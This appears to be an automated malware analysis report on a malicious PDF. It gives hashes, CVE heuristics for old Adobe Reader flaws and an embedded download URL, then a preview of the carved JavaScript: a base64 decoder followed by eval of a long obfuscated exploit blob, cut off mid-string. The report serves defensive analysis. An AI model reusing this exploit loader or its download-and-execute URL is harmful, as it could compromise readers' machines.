PDF malware analysis — malicious · 8bb9c34f5c00e532

MALICIOUS

PDF

7.6 KB First seen: 2013-09-04

MD5: b3eb2823c10aa459e068dfba07891304 SHA-1: 4e6b007d6fa1141d703476212b09fc4ac18bfda1 SHA-256: 8bb9c34f5c00e53216dd5f895f30a768a321648f13372b12be0c9b8c18bf5ad7

618 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains obfuscated JavaScript that exploits multiple Adobe Reader vulnerabilities, including CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The script decodes a second-stage payload and contains an embedded URL, http://lometr.pl/hlp/getexe.php?spl=pdf, which is likely used to download and execute further malicious content. The ClamAV detection 'Pdf.Dropper.Agent-1828832' further supports its malicious nature.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 12

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Dropper.Agent-1828832 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Dropper.Agent-1828832
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
Matched line in script
```
eval(decode64(aasd));
```
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://lometr.pl/hlp/getexe.php?spl=pdf Referenced by PDF JavaScript

🗂 Part of campaign: adultxxxblog8.in 61 samples

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0009_000.js`	pdf-javascript-stream	PDF /JS object 9 at offset 0xD6	19560 bytes
SHA-256: `b3242cad65d76e606040732e114ac2b84c851c58700e3af3f96bd4ed49db00b0`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 4 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; function decode64(input) { var output = ""; var chr1, chr2, chr3; var enc1, enc2, enc3, enc4; var i = 0; input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); do { enc1 = keyStr.indexOf(input.charAt(i++)); enc2 = keyStr.indexOf(input.charAt(i++)); enc3 = keyStr.indexOf(input.charAt(i++)); enc4 = keyStr.indexOf(input.charAt(i++)); chr1 = (enc1 << 2) \| (enc2 >> 4); chr2 = ((enc2 & 15) << 4) \| (enc3 >> 2); chr3 = ((enc3 & 3) << 6) \| enc4; output = output + String.fromCharCode(chr1); if (enc3 != 64) { output = output + String.fromCharCode(chr2); } if (enc4 != 64) { output = output + String.fromCharCode(chr3); } } while (i < input.length); return output; } var aasd = decode64("RFFwMllYSWdSRFJ5VTNORFMyUlFPSE5OY21JNU55QTlJRzVsZHlCQmNuSmhlU2dwT3cwS2RtRnlJR1JUWmxOaVVFZHhWR1ZFUlhaWE1YSTdEUXBtZFc1amRHbHZiaUJYY2t0U05HVTJWRzE1Y1dSYWVXdGtLRlpRTmpOdlRIUkplamhZZG1SWWJVTXNJRkUzWlZSc2EzaFlhVzVCU0cxMWRVUXBlM2RvYVd4bElDaFdVRFl6YjB4MFNYbzRXSFprV0cxRExteGxibWQwYUNBcUlESWdQQ0JSTjJWVWJHdDRXR2x1UVVodGRYVkVLWHRXVURZemIweDBTWG80V0haa1dHMURJQ3M5SUZaUU5qTnZUSFJKZWpoWWRtUlliVU03ZlZaUU5qTnZUSFJKZWpoWWRtUlliVU1nUFNCV1VEWXpiMHgwU1hvNFdIWmtXRzFETG5OMVluTjBjbWx1Wnlnd0xDQlJOMlZVYkd0NFdHbHVRVWh0ZFhWRUlDOGdNaWs3RFFvZ0lISmxkSFZ5YmlCV1VEWXpiMHgwU1hvNFdIWmtXRzFETzMwTkNtWjFibU4wYVc5dUlFRmtkbWgyZW1GMWNrVm1NVlZ4YlZjb1FtcEtXbXAwVldFNE1HSmlNVTQ1TWlsN0RRcDJZWElnU1RKMFJYWlBjRE5aVVdWYWIyMWhjU0E5SUhWdVpYTmpZWEJsS0NJbGRUa3dPVEFsZFRrd09UQWlLVHNOQ25aaGNpQm9aVVp0U0hKcE5GTlVTVVkzTVc5aUlEMGdRbXBLV21wMFZXRTRNR0ppTVU0NU1pQXRJREI0TnpBd01EQXdPdzBLZG1GeUlHRk9iMHBHV0Uxb01XWjNOMlpzYVVzZ1BTQjFibVZ6WTJGd1pTZ2lKWFZCTVRZMEpYVXdNREU0SlhVd01EQXdKWFUwTURoQ0pYVTRRak13SlhVMU5EUXdKWFUwTURoQ0pYVTRRakEwSlhVd05EUXdKWFUwTURoQ0pYVXdSREEwSlhVd01ESXdKWFV3TURJd0pYVTNRek5FSlhVM056QXdKWFUzTkRBd0pYVkRNekF4SlhWRE1ETXpKWFU0UWpZMEpYVXpNRFF3SlhVd1F6YzRKWFUwTURoQ0pYVTRRakJESlhVeFF6Y3dKWFU0UWtGRUpYVXdPRFU0SlhVd09VVkNKWFUwTURoQ0pYVTRSRE0wSlhVM1F6UXdKWFUxT0RoQ0pYVTJRVE5ESlhVMVFUUkZKWFZGTWtReEpYVkZNakpDSlhWRlF6aENKWFUwTlVNM0pYVTJSVEV3SlhVMk5USkZKWFZETnpjNEpYVXhORFExSlhVd01VWkdKWFV3TURBd0pYVTBOVU0zSlhVd01EQXdKWFV3TURBd0pYVkZRakF3SlhVMVFUUkdKWFU0TXpVeUpYVTFOa1ZCSlhVMU5UZzVKWFUxTmpFNEpYVTRRalUzSlhVelF6Y3pKWFUzTkRoQ0pYVTNPRE16SlhWR016QXpKWFU0UWpVMkpYVXlNRGMySlhWR016QXpKWFZET1RNekpYVTFNRFE1SlhWQlJEUXhKWFZHUmpNekpYVXdSak0ySlhVeE5FSkZKWFV6T0RBekpYVTNORVl5SlhWRE1UQTRKWFV3UkVOR0pYVkdRVEF6SlhWRlFqUXdKWFUxT0VWR0pYVkdPRE5DSlhWRk5UYzFKWFU0UWpWRkpYVXlORFEySlhWRE16QXpKWFU0UWpZMkpYVTBPREJESlhVMU5qaENKWFV3TXpGREpYVTRRa1F6SlhVNFFUQTBKWFZETXpBekpYVTFSVFZHSlhWRE16VXdKWFUzUkRoRUpYVTFOekZESlhWQ09EVXlKWFZEUVRNekpYVTFRamhCSlhWQk1rVTRKWFZHUmtaR0pYVXpNa1pHSlhVNFFrTXdKWFZHTWtZM0pYVTBSa0ZGSlhVME5UaENKWFZCUWpFd0pYVTVPRFkySlhWQlFqWTJKWFZETURNekpYVTJNVUk0SlhVd01EWTBKWFUxTURBd0pYVTFORFk0SlhVM01qWTRKWFV6TlRZMUpYVXhRekkwSlhVM05EWTVKWFUxTkRVd0pYVkNPRFV6SlhWR1EwRkJKWFUzUXpCRUpYVTFOVVpHSlhVNE16RTRKWFV3UTBNMEpYVkNNRFV3SlhVNFFUWkRKWFU1T0VVd0pYVTJPRFV3SlhVMlJUWkdKWFUyTkRKRkpYVTNOVFk0SlhVMlF6Y3lKWFUxTkRaRUpYVTRSVUk0SlhVd1JUUkZKWFZHUmtWREpYVXhPRFUxSlhWRE5EZ3pKWFU1TXpCREpYVXpNelV3SlhVMU1FTXdKWFUxTmpVd0pYVTFOVGhDSlhVd016RTRKWFV4TkRVMUpYVTFNRFV5SlhVek5rSTRKWFV5UmpGQkpYVkdSamN3SlhVeE9EVTFKWFU0TXpWQ0pYVXdNRGRFSlhVd1JqQXhKWFU1UlRnMUpYVXdNREF3SlhVMlFUQXdKWFUyT0RBd0pYVXdNRGd3SlhVd01EQXdKWFV3TXpaQkpYVXdNRFpCSlhVd016WkJKWFV3TURZNEpYVXdNREF3SlhVMU5rTXdKWFZCTlVJNEpYVXdNREUzSlhWR1JqZERKWFV4T0RVMUpYVTBOVGc1SlhVMlFUQTBKWFUyT0RBMEpYVXhNREF3SlhVd01EQXdKWFV3TURZNEpYVXdPREF3SlhVMlFUQXdKWFZDT0RBd0pYVkRRVFUwSlhVNU1VRkdKWFUxTlVaR0pYVTRPVEU0SlhVd1F6UTFKWFUyUVRVd0pYVTRSREF3SlhVd09EUkVKWFUyT0RVeEpYVXdNREF3SlhVd01EQTRKWFZHUmpVd0pYVXdORGMxSlhVeE5rSTRKWFZHUVRZMUpYVkdSakV3SlhVeE9EVTFKWFU0UWpWR0pYVTRNekUzSlhVd05FTTNKWFUwUkRoQ0pYVTRNekE0SlhVd05FVTVKWFZCTjBVNEpYVXdNREF3SlhVMlFUQXdKWFUyUVRBd0pYVTJRVEF3SlhWR1JqQXdKWFV3TkRjMUpYVkJRMEk0SlhWRVFUQTRKWFZHUmpjMkpYVXhPRFUxSlhVd01EWkJKWFUwUkRoRUpYVTFNVEE0SlhVM05VWkdKWFZHUmpBNEpYVXdRemMxSlhVd05EZ3pKWFV3TkRJMEpYVTNOVVpHSlhWQ09EQTBKWFUzT1RGR0pYVkZPREJCSlhVMU5VWkdKWFZHUmpFNEpYVXdORGMxSlhWR1FrSTRKWFZHUkRrM0pYVkdSakJHSlhVeE9EVTFKWFUwTlVNM0pYVXdNakF3SlhVd01EQXdKWFUxTnpBd0pYVkNPRFUySlhWR1JUazRKWFV3UlRoQkpYVTFOVVpHSlhWRlFqRTRKWFV4T0RKQkpYVkdPVEpCSlhWRU1rSTNKWFZDTXpjM0pYVTBOVEF4SlhVNU1qaEJKWFZCUkVJM0pYVTFSRFV3SlhVMk4wVTBKWFZGTmtZMUpYVXhRVU0zSlhWQlFrSkdKWFV4TURGRkpYVTNOalF5SlhWQk1VRXlKWFUyTXpVMEpYVTNRakE1SlhWQ01EZzVKWFU1TjBZMEpYVTNNelJGSlhVelJqa3pKWFU0TTBZeEpYVXdNRGRFSlhVM05EQXlKWFZETnpZd0pYVXdNRFExSlhVd01EQXhKWFV3TURBd0pYVTBOVU0zSlhVM09URXdKWFUyTlRKRkpYVkROemM0SlhVeE5EUTFKWFV3TVRjeUpYVXdNREF3SlhVM1JEaENKWFV3TXpFNEpYVXhORGRFSlhVeU5rSTVKWFV3TURBd0pYVTRRakF3SlhWR1F6VTNKWFV3TlVVNEpYVXdNREF3SlhWRk9UQXdKWFZHUlRkREpYVkdSa1pHSlhWRE1ETXpKWFV3TnpoQkpYVkRPRVF5SlhWRE1UTXlKWFZFTUVZMkpYVkROVE15SlhWRE1qTXlKWFZETmpNeUpYVkRNRVF5SlhWRE1UQXlKWFZETlRBeUpYVkRNakF5SlhWRE5qQXlKWFZET0VReUpYVkRNVEpCSlhWRE5USkJKWFZFTUVZMkpYVkRNakpCSlhWRE5qSkJKWFZETUVReUpYVkRNa1F6SlhWRFFUQkdKWFV3TnpnNEpYVTBPVFEzSlhWRFJUYzFKWFZETTBNekpYVTNORFk0SlhVM01EYzBKWFV5UmpOQkpYVTJRekpHSlhVMlJEWkdKWFUzTkRZMUpYVXlSVGN5SlhVMlF6Y3dKWFUyT0RKR0pYVTNNRFpESlhVMk56SkdKWFUzTkRZMUpYVTNPRFkxSlhVeVJUWTFKWFUyT0Rjd0pYVXpSamN3SlhVM01EY3pKWFV6UkRaREpYVTJORGN3SlhVd01EWTJJaWs3RFFwM2FHbHNaU0FvU1RKMFJYWlBjRE5aVVdWYWIyMWhjUzVzWlc1bmRHZzhjMnhoWTJ0emNHRmpaU2tnU1RKMFJYWlBjRE5aVVdWYWIyMWhjU3M5U1RKMFJYWlBjRE5aVVdWYWIyMWhjVHNOQ21GT2IwcEdXRTFvTVdaM04yWnNhVXNnUFNCQ2FrcGFhblJWWVRnd1ltSXhUamt5TG5OMVluTjBjbWx1Wnlnd0xDQkNha3BhYW5SVllUZ3dZbUl4VGpreUtUdDlEUXBtZFc1amRHbHZiaUJJTVVZNVREbFNTMFo1UjNOWE16WjNLRlpyVVhWVlRsSkRRbU5WZUZkUVFYRXBldzBLSUNCMllYSWdZbEY2YTFsU05tOVFUR2gzVDIxeldDQTlJREI0TUdNd1l6QmpNR003ZG1GeUlGWktVakZuZEVSeVZtaHZNemg2YzFjZ1BTQjFibVZ6WTJGd1pTZ2lKWFZCTVRZMEpYVXdNREU0SlhVd01EQXdKWFUwTURoQ0pYVTRRak13SlhVMU5EUXdKWFUwTURoQ0pYVTRRakEwSlhVd05EUXdKWFUwTURoQ0pYVXdSREEwSlhVd01ESXdKWFV3TURJd0pYVTNRek5FSlhVM056QXdKWFUzTkRBd0pYVkRNekF4SlhWRE1ETXpKWFU0UWpZMEpYVXpNRFF3SlhVd1F6YzRKWFUwTURoQ0pYVTRRakJESlhVeFF6Y3dKWFU0UWtGRUpYVXdPRFU0SlhVd09VVkNKWFUwTURoQ0pYVTRSRE0wSlhVM1F6UXdKWFUxT0RoQ0pYVTJRVE5ESlhVMVFUUkZKWFZGTWtReEpYVkZNakpDSlhWRlF6aENKWFUwTlVNM0pYVTJSVEV3SlhVMk5USkZKWFZETnpjNEpYVXhORFExSlhVd01VWkdKWFV3TURBd0pYVTBOVU0zSlhVd01EQXdKWFV3TURBd0pYVkZRakF3SlhVMVFUUkdKWFU0TXpVeUpYVTFOa1ZCSlhVMU5UZzVKWFUxTmpFNEpYVTRRalUzSlhVelF6Y3pKWFUzTkRoQ0pYVTNPRE16SlhWR016QXpKWFU0UWpVMkpYVXlNRGMySlhWR016QXpKWFZET1RNekpYVTFNRFE1SlhWQlJEUXhKWFZHUmpNekpYVXdSak0ySlhVeE5FSkZKWFV6T0RBekpYVTNORVl5SlhWRE1UQTRKWFV3UkVOR0pYVkdRVEF6SlhWRlFqUXdKWFUxT0VWR0pYVkdPRE5DSlhWRk5UYzFKWFU0UWpWRkpYVXlORFEySlhWRE16QXpKWFU0UWpZMkpYVTBPREJESlhVMU5qaENKWFV3TXpGREpYVTRRa1F6SlhVNFFUQTBKWFZETXpBekpYVTFSVFZHSlhWRE16VXdKWFUzUkRoRUpYVTFOekZESlhWQ09EVXlKWFZEUVRNekpYVTFRamhCSlhWQk1rVTRKWFZHUmtaR0pYVXpNa1pHSlhVNFFrTXdKWFZHTWtZM0pYVTBSa0ZGSlhVME5UaENKWFZCUWpFd0pYVTVPRFkySlhWQlFqWTJKWFZETURNekpYVTJNVUk0SlhVd01EWTBKWFUxTURBd0pYVTFORFk0SlhVM01qWTRKWFV6TlRZMUpYVXhRekkwSlhVM05EWTVKWFUxTkRVd0pYVkNPRFV6SlhWR1EwRkJKWFUzUXpCRUpYVTFOVVpHSlhVNE16RTRKWFV3UTBNMEpYVkNNRFV3SlhVNFFUWkRKWFU1T0VVd0pYVTJPRFV3SlhVMlJUWkdKWFUyTkRKRkpYVTNOVFk0SlhVMlF6Y3lKWFUxTkRaRUpYVTRSVUk0SlhVd1JUUkZKWFZHUmtWREpYVXhPRFUxSlhWRE5EZ3pKWFU1TXpCREpYVXpNelV3SlhVMU1FTXdKWFUxTmpVd0pYVTFOVGhDSlhVd016RTRKWFV4TkRVMUpYVTFNRFV5SlhVek5rSTRKWFV5UmpGQkpYVkdSamN3SlhVeE9EVTFKWFU0TXpWQ0pYVXdNRGRFSlhVd1JqQXhKWFU1UlRnMUpYVXdNREF3SlhVMlFUQXdKWFUyT0RBd0pYVXdNRGd3SlhVd01EQXdKWFV3TXpaQkpYVXdNRFpCSlhVd016WkJKWFV3TURZNEpYVXdNREF3SlhVMU5rTXdKWFZCTlVJNEpYVXdNREUzSlhWR1JqZERKWFV4T0RVMUpYVTBOVGc1SlhVMlFUQTBKWFUyT0RBMEpYVXhNREF3SlhVd01EQXdKWFV3TURZNEpYVXdPREF3SlhVMlFUQXdKWFZDT0RBd0pYVkRRVFUwSlhVNU1VRkdKWFUxTlVaR0pYVTRPVEU0SlhVd1F6UTFKWFUyUVRVd0pYVTRSREF3SlhVd09EUkVKWFUyT0RVeEpYVXdNREF3SlhVd01EQTRKWFZHUmpVd0pYVXdORGMxSlhVeE5rSTRKWFZHUVRZMUpYVkdSakV3SlhVeE9EVTFKWFU0UWpWR0pYVTRNekUzSlhVd05FTTNKWFUwUkRoQ0pYVTRNekE0SlhVd05FVTVKWFZCTjBVNEpYVXdNREF3SlhVMlFUQXdKWFUyUVRBd0pYVTJRVEF3SlhWR1JqQXdKWFV3TkRjMUpYVkJRMEk0SlhWRVFUQTRKWFZHUmpjMkpYVXhPRFUxSlhVd01EWkJKWFUwUkRoRUpYVTFNVEE0SlhVM05VWkdKWFZHUmpBNEpYVXdRemMxSlhVd05EZ3pKWFV3TkRJMEpYVTNOVVpHSlhWQ09EQTBKWFUzT1RGR0pYVkZPREJCSlhVMU5VWkdKWFZHUmpFNEpYVXdORGMxSlhWR1FrSTRKWFZHUkRrM0pYVkdSakJHSlhVeE9EVTFKWFUwTlVNM0pYVXdNakF3SlhVd01EQXdKWFUxTnpBd0pYVkNPRFUySlhWR1JUazRKWFV3UlRoQkpYVTFOVVpHSlhWRlFqRTRKWFV4T0RKQkpYVkdPVEpCSlhWRU1rSTNKWFZDTXpjM0pYVTBOVEF4SlhVNU1qaEJKWFZCUkVJM0pYVTFSRFV3SlhVMk4wVTBKWFZGTmtZMUpYVXhRVU0zSlhWQlFrSkdKWFV4TURGRkpYVTNOalF5SlhWQk1VRXlKWFUyTXpVMEpYVTNRakE1SlhWQ01EZzVKWFU1TjBZMEpYVTNNelJGSlhVelJqa3pKWFU0TTBZeEpYVXdNRGRFSlhVM05EQXlKWFZETnpZd0pYVXdNRFExSlhVd01EQXhKWFV3TURBd0pYVTBOVU0zSlhVM09URXdKWFUyTlRKRkpYVkROemM0SlhVeE5EUTFKWFV3TVRjeUpYVXdNREF3SlhVM1JEaENKWFV3TXpFNEpYVXhORGRFSlhVeU5rSTVKWFV3TURBd0pYVTRRakF3SlhWR1F6VTNKWFV3TlVVNEpYVXdNREF3SlhWRk9UQXdKWFZHUlRkREpYVkdSa1pHSlhWRE1ETXpKWFV3TnpoQkpYVkRPRVF5SlhWRE1UTXlKWFZFTUVZMkpYVkROVE15SlhWRE1qTXlKWFZETmpNeUpYVkRNRVF5SlhWRE1UQXlKWFZETlRBeUpYVkRNakF5SlhWRE5qQXlKWFZET0VReUpYVkRNVEpCSlhWRE5USkJKWFZFTUVZMkpYVkRNakpCSlhWRE5qSkJKWFZETUVReUpYVkRNa1F6SlhWRFFUQkdKWFV3TnpnNEpYVTBPVFEzSlhWRFJUYzFKWFZETTBNekpYVTNORFk0SlhVM01EYzBKWFV5UmpOQkpYVTJRekpHSlhVMlJEWkdKWFUzTkRZMUpYVXlSVGN5SlhVMlF6Y3dKWFUyT0RKR0pYVTNNRFpESlhVMk56SkdKWFUzTkRZMUpYVTNPRFkxSlhVeVJUWTFKWFUyT0Rjd0pYVXpSamN3SlhVM01EY3pKWFV6UkRaREpYVTJORGN3SlhVd01EWTJJaWs3YVdZZ0tGWnJVWFZWVGxKRFFtTlZlRmRRUVhFZ1BUMGdNU2w3WWxGNmExbFNObTlRVEdoM1QyMXpXQ0E5SURCNE16QXpNRE13TXpBN1ZrcFNNV2QwUkhKV2FHOHpPSHB6VnlBOUlIVnVaWE5qWVhCbEtDSWxkVUV4TmpRbGRUQXdNVGdsZFRBd01EQWxkVFF3T0VJbGRUaENNekFsZFRVME5EQWxkVFF3T0VJbGRUaENNRFFsZFRBME5EQWxkVFF3T0VJbGRUQkVNRFFsZFRBd01qQWxkVEF3TWpBbGRUZERNMFFsZFRjM01EQWxkVGMwTURBbGRVTXpNREVsZFVNd016TWxkVGhDTmpRbGRUTXdOREFsZFRCRE56Z2xkVFF3T0VJbGRUaENNRU1sZFRGRE56QWxkVGhDUVVRbGRUQTROVGdsZFRBNVJVSWxkVFF3T0VJbGRUaEVNelFsZFRkRE5EQWxkVFU0T0VJbGRUWkJNME1sZFRWQk5FVWxkVVV5UkRFbGRVVXlNa0lsZFVWRE9FSWxkVFExUXpjbGRUWkZNVEFsZFRZMU1rVWxkVU0zTnpnbGRURTBORFVsZFRBeFJrWWxkVEF3TURBbGRUUTFRemNsZFRBd01EQWxkVEF3TURBbGRVVkNNREFsZFRWQk5FWWxkVGd6TlRJbGRUVTJSVUVsZFRVMU9Ea2xkVFUyTVRnbGRUaENOVGNsZFRORE56TWxkVGMwT0VJbGRUYzRNek1sZFVZek1ETWxkVGhDTlRZbGRUSXdOellsZFVZek1ETWxkVU01TXpNbGRUVXdORGtsZFVGRU5ERWxkVVpHTXpNbGRUQkdNellsZFRFMFFrVWxkVE00TURNbGRUYzBSaklsZFVNeE1EZ2xkVEJFUTBZbGRVWkJNRE1sZFVWQ05EQWxkVFU0UlVZbGRVWTRNMElsZFVVMU56VWxkVGhDTlVVbGRUSTBORFlsZFVNek1ETWxkVGhDTmpZbGRUUTRNRU1sZFRVMk9FSWxkVEF6TVVNbGRUaENSRE1sZFRoQk1EUWxkVU16TURNbGRUVkZOVVlsZFVNek5UQWxkVGRFT0VRbGRUVTNNVU1sZFVJNE5USWxkVU5CTXpNbGRUVkNPRUVsZFVFeVJUZ2xkVVpHUmtZbGRUTXlSa1lsZFRoQ1F6QWxkVVl5UmpjbGRUUkdRVVVsZFRRMU9FSWxkVUZDTVRBbGRUazROallsZFVGQ05qWWxkVU13TXpNbGRUWXhRamdsZFRBd05qUWxkVFV3TURBbGRUVTBOamdsZFRjeU5qZ2xkVE0xTmpVbGRURkRNalFsZFRjME5qa2xkVFUwTlRBbGRVSTROVE1sZFVaRFFVRWxkVGRETUVRbGRUVTFSa1lsZFRnek1UZ2xkVEJEUXpRbGRVSXdOVEFsZFRoQk5rTWxkVGs0UlRBbGRUWTROVEFsZFRaRk5rWWxkVFkwTWtVbGRUYzFOamdsZFRaRE56SWxkVFUwTmtRbGRUaEZRamdsZFRCRk5FVWxkVVpHUlVNbGRURTROVFVsZFVNME9ETWxkVGt6TUVNbGRUTXpOVEFsZFRVd1F6QWxkVFUyTlRBbGRUVTFPRUlsZFRBek1UZ2xkVEUwTlRVbGRUVXdOVElsZFRNMlFqZ2xkVEpHTVVFbGRVWkdOekFsZFRFNE5UVWxkVGd6TlVJbGRUQXdOMFFsZFRCR01ERWxkVGxGT0RVbGRUQXdNREFsZFRaQk1EQWxkVFk0TURBbGRUQXdPREFsZFRBd01EQWxkVEF6TmtFbGRUQXdOa0VsZFRBek5rRWxkVEF3TmpnbGRUQXdNREFsZFRVMlF6QWxkVUUxUWpnbGRUQXdNVGNsZFVaR04wTWxkVEU0TlRVbGRUUTFPRGtsZFRaQk1EUWxkVFk0TURRbGRURXdNREFsZFRBd01EQWxkVEF3TmpnbGRUQTRNREFsZFRaQk1EQWxkVUk0TURBbGRVTkJOVFFsZFRreFFVWWxkVFUxUmtZbGRUZzVNVGdsZFRCRE5EVWxkVFpCTlRBbGRUaEVNREFsZFRBNE5FUWxkVFk0TlRFbGRUQXdNREFsZFRBd01EZ2xkVVpHTlRBbGRUQTBOelVsZFRFMlFqZ2xkVVpCTmpVbGRVWkdNVEFsZFRFNE5UVWxkVGhDTlVZbGRUZ3pNVGNsZFRBMFF6Y2xkVFJFT0VJbGRUZ3pNRGdsZFRBMFJUa2xkVUUzUlRnbGRUQXdNREFsZFRaQk1EQWxkVFpCTURBbGRUWkJNREFsZFVaR01EQWxkVEEwTnpVbGRVRkRRamdsZFVSQk1EZ2xkVVpHTnpZbGRURTROVFVsZFRBd05rRWxkVFJFT0VRbGRUVXhNRGdsZFRjMVJrWWxkVVpHTURnbGRUQkROelVsZFRBME9ETWxkVEEwTWpRbGRUYzFSa1lsZFVJNE1EUWxkVGM1TVVZbGRVVTRNRUVsZFRVMVJrWWxkVVpHTVRnbGRUQTBOelVsZFVaQ1FqZ2xkVVpFT1RjbGRVWkdNRVlsZFRFNE5UVWxkVFExUXpjbGRUQXlNREFsZFRBd01EQWxkVFUzTURBbGRVSTROVFlsZFVaRk9UZ2xkVEJGT0VFbGRUVTFSa1lsZFVWQ01UZ2xkVEU0TWtFbGRVWTVNa0VsZFVReVFqY2xkVUl6TnpjbGRUUTFNREVsZFRreU9FRWxkVUZFUWpjbGRUVkVOVEFsZFRZM1JUUWxkVVUyUmpVbGRURkJRemNsZFVGQ1FrWWxkVEV3TVVVbGRUYzJORElsZFVFeFFUSWxkVFl6TlRRbGRUZENNRGtsZFVJd09Ea2xkVGszUmpRbGRUY3pORVVsZFROR09UTWxkVGd6UmpFbGRUQXdOMFFsZFRjME1ESWxkVU0zTmpBbGRUQXdORFVsZFRBd01ERWxkVEF3TURBbGRUUTFRemNsZFRjNU1UQWxkVFkxTWtVbGRVTTNOemdsZFRFME5EVWxkVEF4TnpJbGRUQXdNREFsZFRkRU9FSWxkVEF6TVRnbGRURTBOMFFsZFRJMlFqa2xkVEF3TURBbGRUaENNREFsZFVaRE5UY2xkVEExUlRnbGRUQXdNREFsZFVVNU1EQWxkVVpGTjBNbGRVWkdSa1lsZFVNd016TWxkVEEzT0VFbGRVTTRSRElsZFVNeE16SWxkVVF3UmpZbGRVTTFNeklsZFVNeU16SWxkVU0yTXpJbGRVTXdSRElsZFVNeE1ESWxkVU0xTURJbGRVTXlNRElsZFVNMk1ESWxkVU00UkRJbGRVTXhNa0VsZFVNMU1rRWxkVVF3UmpZbGRVTXlNa0VsZFVNMk1rRWxkVU13UkRJbGRVTXlSRE1sZFVOQk1FWWxkVEEzT0RnbGRUUTVORGNsZFVORk56VWxkVU16UXpNbGRUYzBOamdsZFRjd056UWxkVEpHTTBFbGRUWkRNa1lsZFRaRU5rWWxkVGMwTmpVbGRUSkZOeklsZFRaRE56QWxkVFk0TWtZbGRUY3dOa01sZFRZM01rWWxkVGMwTmpVbGRUYzROalVsZFRKRk5qVWxkVFk0TnpBbGRUTkdOekFsZFRjd056TWxkVE5FTmtNbGRUWTBOekFsZFRBd05qWWlLVHQ5RFFvZ0lHVnNjMlVnYVdZZ0tGWnJVWFZWVGxKRFFtTlZlRmRRUVhFZ1BUMGdNaWw3VmtwU01XZDBSSEpXYUc4ek9IcHpWeUE5SUhWdVpYTmpZWEJsS0NJbGRVRXhOalFsZFRBd01UZ2xkVEF3TURBbGRUUXdPRUlsZFRoQ016QWxkVFUwTkRBbGRUUXdPRUlsZFRoQ01EUWxkVEEwTkRBbGRUUXdPRUlsZFRCRU1EUWxkVEF3TWpBbGRUQXdNakFsZFRkRE0wUWxkVGMzTURBbGRUYzBNREFsZFVNek1ERWxkVU13TXpNbGRUaENOalFsZFRNd05EQWxkVEJETnpnbGRUUXdPRUlsZFRoQ01FTWxkVEZETnpBbGRUaENRVVFsZFRBNE5UZ2xkVEE1UlVJbGRUUXdPRUlsZFRoRU16UWxkVGRETkRBbGRUVTRPRUlsZFRaQk0wTWxkVFZCTkVVbGRVVXlSREVsZFVVeU1rSWxkVVZET0VJbGRUUTFRemNsZFRaRk1UQWxkVFkxTWtVbGRVTTNOemdsZFRFME5EVWxkVEF4UmtZbGRUQXdNREFsZFRRMVF6Y2xkVEF3TURBbGRUQXdNREFsZFVWQ01EQWxkVFZCTkVZbGRUZ3pOVElsZFRVMlJVRWxkVFUxT0RrbGRUVTJNVGdsZFRoQ05UY2xkVE5ETnpNbGRUYzBPRUlsZFRjNE16TWxkVVl6TURNbGRUaENOVFlsZFRJd056WWxkVVl6TURNbGRVTTVNek1sZFRVd05Ea2xkVUZFTkRFbGRVWkdNek1sZFRCR016WWxkVEUwUWtVbGRUTTRNRE1s